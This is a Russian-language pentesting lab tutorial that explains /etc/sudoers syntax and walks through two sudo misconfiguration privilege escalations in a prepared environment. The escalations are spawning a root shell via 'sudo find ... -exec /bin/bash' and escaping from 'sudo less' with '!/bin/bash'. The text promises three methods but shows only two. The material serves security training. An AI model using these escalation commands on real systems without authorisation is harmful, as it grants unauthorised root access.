Введение
В этом практическом занятии (лабораторной работе) вы узнаете о синтаксисе файла конфигурации sudo и попрактикуетесь в трех распространенных методах повышения привилегий с использованием уязвимостей или неправильной настройки sudo. Цель состоит в том, чтобы лучше понять, как использовать sudo для повышения привилегий во время пентеста (проверки на проникновение).
Синтаксис файла конфигурации sudo
На этом этапе вы узнаете о синтаксисе файла /etc/sudoers, который используется для настройки привилегий sudo.
Файл /etc/sudoers используется для указания, какие пользователи или группы могут выполнять команды с повышенными привилегиями. Чтобы просмотреть и сохранить содержимое файла /etc/sudoers, выполните следующую команду:
sudo cat /etc/sudoers | grep root > /home/labex/project/sudoers.txt
Вывод должен быть похож на следующий:
## This file MUST be edited with the 'visudo' command as root.
## This preserves proxy settings from user environments of root
## While you shouldn't normally run git as root, you need to with etckeeper
## Per-user preferences; root won't have sensible values for them.
root ALL=(ALL:ALL) ALL
## Members of the admin group may gain root privileges
Эта строка указывает, что пользователь root может выполнять любую команду от имени любого пользователя или группы на всех хостах.
Общий синтаксис записи в файле sudoers выглядит следующим образом:
user_or_group_name host_list=(run_as_user:run_as_group) command_list
user_or_group_name: Пользователь или группа, к которым применяется правило.host_list: Хост(ы), на которых правило применяется. ЗначениеALLозначает все хосты.run_as_user: Пользователь, чьи привилегии используются для выполнения команды. ЗначениеALLозначает любого пользователя.run_as_group: Группа, чьи привилегии используются для выполнения команды. ЗначениеALLозначает любую группу.command_list: Команда(ы), которые пользователь или группа имеют право выполнять.
Sudo позволяет повышать привилегии без ограничений аргументов
На этом этапе вы попрактикуетесь в повышении привилегий, используя неправильную настройку sudo, которая позволяет выполнять любые команды с повышенными привилегиями.
Сначала откройте терминал и перейдите в каталог
/home/labex/project.cd /home/labex/projectИнициализируйте среду, выполнив следующую команду:
./env_setup_1.shТеперь вы вошли в систему как пользователь
user001.Используйте команду
sudo -lдля проверки своих привилегий sudo:sudo -l(root) NOPASSWD:/usr/bin/findЭто означает, что вы можете выполнять команду
findс привилегиямиrootбез ввода пароля.Чтобы повысить привилегии, выполните:
sudo find /home -exec /bin/bash \;Теперь у вас должен быть доступ к оболочке
root.Создайте файл с именем
success_1.txtв каталоге/root, чтобы убедиться, что у вас есть привилегииroot:echo "success_1" | sudo tee /root/success_1.txtПроверьте файл, выполнив:
cat /root/success_1.txtВывод должен быть
success_1.
Sudo позволяет повышать привилегии с использованием конкретных аргументов команды
На этом этапе вы попрактикуетесь в повышении привилегий, используя неправильную настройку sudo, которая позволяет выполнять определенные команды с повышенными привилегиями.
После предыдущего этапа вы по-прежнему вошли в систему как пользователь root. Чтобы продолжить этот этап, вам нужно закрыть текущий терминал и открыть новый.
Сначала откройте терминал и перейдите в каталог
/home/labex/project.cd /home/labex/projectИнициализируйте среду, выполнив следующую команду:
./env_setup_2.shПроверьте свои привилегии sudo с помощью команды
sudo -l:sudo -lОжидаемый вывод:
(root) NOPASSWD: /bin/less /var/log/messagesЭто означает, что вы можете выполнять команду
/bin/less /var/log/messagesс привилегиямиrootбез ввода пароля.Чтобы повысить привилегии, выполните:
sudo less /var/log/messagesПосле запуска программы
lessвыполните:!/bin/bashТеперь у вас должен быть доступ к оболочке
root.Создайте файл с именем
success_2.txtв каталоге/root, чтобы убедиться, что у вас есть привилегииroot:echo "success_2" | sudo tee /root/success_2.txtПроверьте файл, выполнив:
cat /root/success_2.txtВывод должен быть
success_2.
Резюме
В этом практическом занятии (лабораторной работе) вы узнали о синтаксисе файла /etc/sudoers и о том, как настраивать привилегии sudo. Вы также попрактиковались в трех распространенных методах повышения привилегий с использованием неправильной настройки или уязвимостей sudo. Понимая, как использовать sudo для повышения привилегий, вы сможете лучше оценивать и минимизировать потенциальные риски безопасности в системах Linux.